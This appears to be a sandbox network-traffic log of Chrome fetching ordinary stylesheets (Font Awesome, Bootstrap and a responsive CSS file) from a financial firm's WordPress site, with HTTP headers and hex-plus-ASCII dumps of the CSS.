2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6e 74 3a 22 5c 66 30 36 34 22 7d 2e 66 61 2d 65 78 70 61 6e 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 35 22 7d 2e 66 61 2d 63 6f 6d 70 72 65 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 36 22 7d 2e 66 61 2d 70 6c 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 37 22 7d 2e 66 61 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 38 22 7d 2e 66 61 2d 61 73 74 65 72 69 73 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 39 22 7d 2e 66 61 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 61 22 7d 2e 66 61 2d 67 69 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 Data Ascii: nt:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 62 22 7d 2e 66 61 2d 6c 69 6e 6b 65 64 69 6e 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 63 22 7d 2e 66 61 2d 74 68 75 6d 62 2d 74 61 63 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 64 22 7d 2e 66 61 2d 65 78 74 65 72 6e 61 6c 2d 6c 69 6e 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 65 22 7d 2e 66 61 2d 73 69 67 6e 2d 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 30 22 7d 2e 66 61 2d 74 72 6f 70 68 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 31 22 7d 2e 66 61 2d 67 69 74 68 75 62 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 32 22 7d 2e 66 61 Data Ascii: ore{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 66 61 2d 75 73 65 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 30 22 7d 2e 66 61 2d 63 68 61 69 6e 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6c 69 6e 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 31 22 7d 2e 66 61 2d 63 6c 6f 75 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 32 22 7d 2e 66 61 2d 66 6c 61 73 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 33 22 7d 2e 66 61 2d 63 75 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 63 69 73 73 6f 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 34 22 7d 2e 66 61 2d 63 6f 70 79 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 66 69 6c 65 73 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 35 22 7d 2e 66 61 2d 70 61 Data Ascii: fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-pa
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 66 6f 72 65 2c 2e 66 61 2d 67 61 76 65 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 33 22 7d 2e 66 61 2d 64 61 73 68 62 6f 61 72 64 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 74 61 63 68 6f 6d 65 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 34 22 7d 2e 66 61 2d 63 6f 6d 6d 65 6e 74 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 35 22 7d 2e 66 61 2d 63 6f 6d 6d 65 6e 74 73 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 36 22 7d 2e 66 61 2d 66 6c 61 73 68 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 6f 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 37 22 7d 2e 66 61 2d 73 69 74 65 6d 61 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 38 22 Data Ascii: fore,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2e 66 61 2d 64 65 73 6b 74 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 38 22 7d 2e 66 61 2d 6c 61 70 74 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 39 22 7d 2e 66 61 2d 74 61 62 6c 65 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 61 22 7d 2e 66 61 2d 6d 6f 62 69 6c 65 2d 70 68 6f 6e 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6d 6f 62 69 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 62 22 7d 2e 66 61 2d 63 69 72 63 6c 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 63 22 7d 2e 66 61 2d 71 75 6f 74 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 64 22 7d 2e 66 61 2d 71 75 6f 74 65 2d 72 69 67 68 74 3a 62 65 66 6f Data Ascii: .fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:befo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	586	OUT	GET /wp-content/themes/x-child/css/bootstrap.min.css HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:54 UTC	714	IN	HTTP/1.1 200 OK Connection: close Content-Length: 117150 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5926c2d6-1c99e" last-modified: Thu, 25 May 2017 11:41:10 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-ewr18159-EWR, cache-ewr18168-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867695.815689,VS0,VE64 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 33 2e 32 20 28 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 35 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 32 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 Data Ascii: /! Bootstrap v3.3.2 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) //! normalize.css v3.0.2 \| MIT License \| git.io/normalize */html{font-family:sans-serif
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 75 74 74 6f 6e 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 62 75 74 74 6f 6e 5b 64 69 73 61 62 6c 65 64 5d 2c 68 74 6d 6c 20 69 6e 70 75 74 5b 64 69 73 61 62 6c 65 64 5d 7b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 69 6e 70 75 74 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 69 6e 70 75 74 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 Data Ascii: utton;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:bor
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 65 72 2d 67 72 6f 75 70 7d 69 6d 67 2c 74 72 7b 70 61 67 65 2d 62 72 65 61 6b 2d 69 6e 73 69 64 65 3a 61 76 6f 69 64 7d 69 6d 67 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 68 32 2c 68 33 2c 70 7b 6f 72 70 68 61 6e 73 3a 33 3b 77 69 64 6f 77 73 3a 33 7d 68 32 2c 68 33 7b 70 61 67 65 2d 62 72 65 61 6b 2d 61 66 74 65 72 3a 61 76 6f 69 64 7d 73 65 6c 65 63 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 62 74 6e 3e 2e 63 61 72 65 74 2c 2e 64 72 6f 70 75 70 3e 2e 62 74 6e 3e 2e 63 61 72 65 74 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6c 61 62 65 6c 7b 62 6f 72 64 65 Data Ascii: er-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{borde
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 79 70 68 69 63 6f 6e 2d 70 65 6e 63 69 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 32 37 30 66 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 67 6c 61 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 6d 75 73 69 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 32 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 65 61 72 63 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 33 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 68 65 61 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 35 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 74 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 36 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 74 61 72 2d 65 Data Ascii: yphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-e
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 68 65 61 64 70 68 6f 6e 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 33 35 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 76 6f 6c 75 6d 65 2d 6f 66 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 33 36 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 76 6f 6c 75 6d 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 33 37 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 76 6f 6c 75 6d 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 33 38 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 71 72 63 6f 64 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 33 39 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 62 61 72 63 6f 64 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e Data Ascii: "}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{conten
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2d 6d 6f 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 36 38 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 74 65 70 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 36 39 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 30 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 31 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 70 6c 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 32 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 70 61 75 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 33 22 7d 2e 67 6c 79 70 68 69 63 Data Ascii: -move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphic
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 79 70 68 69 63 6f 6e 2d 67 69 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 30 32 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 6c 65 61 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 30 33 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 66 69 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 30 34 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 65 79 65 2d 6f 70 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 30 35 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 65 79 65 2d 63 6c 6f 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 30 36 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 77 61 72 6e 69 6e 67 2d 73 69 67 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 30 37 22 7d 2e 67 6c 79 70 68 69 Data Ascii: yphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphi
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2d 63 69 72 63 6c 65 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 33 33 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 69 72 63 6c 65 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 33 34 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 67 6c 6f 62 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 33 35 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 77 72 65 6e 63 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 33 36 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 61 73 6b 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 33 37 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 66 69 6c 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 33 38 22 7d 2e Data Ascii: -circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6c 79 70 68 69 63 6f 6e 2d 72 65 63 6f 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 36 35 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 61 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 36 36 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 6f 70 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 36 37 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 61 76 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 36 38 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 69 6d 70 6f 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 36 39 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 65 78 70 6f 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 37 30 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 65 6e 64 3a Data Ascii: lyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 39 37 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 6c 6f 75 64 2d 75 70 6c 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 39 38 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 72 65 65 2d 63 6f 6e 69 66 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 39 39 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 72 65 65 2d 64 65 63 69 64 75 6f 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 32 30 30 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 32 30 31 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 61 76 65 2d 66 69 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 32 30 32 22 7d 2e 67 6c 79 70 68 69 63 6f Data Ascii: efore{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphico

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	583	OUT	GET /wp-content/themes/x-child/css/responsive.css HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 6785 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5c3f1260-1a81" last-modified: Wed, 16 Jan 2019 11:15:44 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-lga21978-LGA, cache-lga21976-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867695.934568,VS0,VE48 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 39 39 70 78 29 0d 0a 7b 0d 0a 09 2e 6c 69 6e 6b 64 69 6e 5f 69 63 6f 6e 2e 69 63 6f 6e 5f 68 65 61 64 65 72 20 7b 0d 0a 09 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 09 20 20 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 09 20 20 74 6f 70 3a 20 61 75 74 6f 3b 0d 0a 09 7d 0d 0a 09 2e 6c 69 6e 6b 64 69 6e 5f 69 63 6f 6e 0d 0a 09 7b 0d 0a 09 09 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 70 78 3b 0d 0a 09 7d 0d 0a 09 0d 0a 09 0d 0a 09 0d 0a 09 09 0d 0a 7d 0d 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 32 34 70 78 29 0d 0a 7b 0d 0a 09 0d 0a 09 2e 66 6f 6f 74 65 72 5f 6c 69 6e 6b 64 69 6e 20 Data Ascii: @media screen and (max-width: 1199px){.linkdin_icon.icon_header { position: relative; right: auto; top: auto;}.linkdin_icon{ font-size: 25px;}}@media screen and (max-width: 1024px){.footer_linkdin
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 64 65 74 61 69 6c 73 20 2e 6f 76 65 72 6c 61 79 5f 62 6f 78 20 68 33 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 7d 0d 0a 09 0d 0a 2e 74 65 61 6d 5f 6d 65 6d 62 65 72 20 7b 0d 0a 20 20 68 65 69 67 68 74 3a 20 32 38 30 70 78 3b 0d 0a 7d 0d 0a 7d 0d 0a 0d 0a 0d 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 0d 0a 7b 0d 0a 09 2e 74 65 61 6d 5f 6d 65 6d 62 65 72 20 7b 0d 0a 09 20 20 68 65 69 67 68 74 3a 20 32 35 35 70 78 3b 0d 0a 09 7d 0d 0a 09 2e 62 61 6e 6e 65 72 20 7b 0d 0a 09 20 20 68 65 69 67 68 74 3a 20 34 30 30 70 78 3b 0d 0a 09 7d 0d 0a 09 2e 73 65 72 76 69 63 65 5f 70 61 64 64 0d 0a 09 7b 0d 0a 09 09 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 09 7d 0d 0a 09 2e 6f 76 65 72 Data Ascii: details .overlay_box h3 { font-size: 18px;}.team_member { height: 280px;}}@media screen and (max-width: 992px){.team_member { height: 255px;}.banner { height: 400px;}.service_padd{padding: 0px;}.over
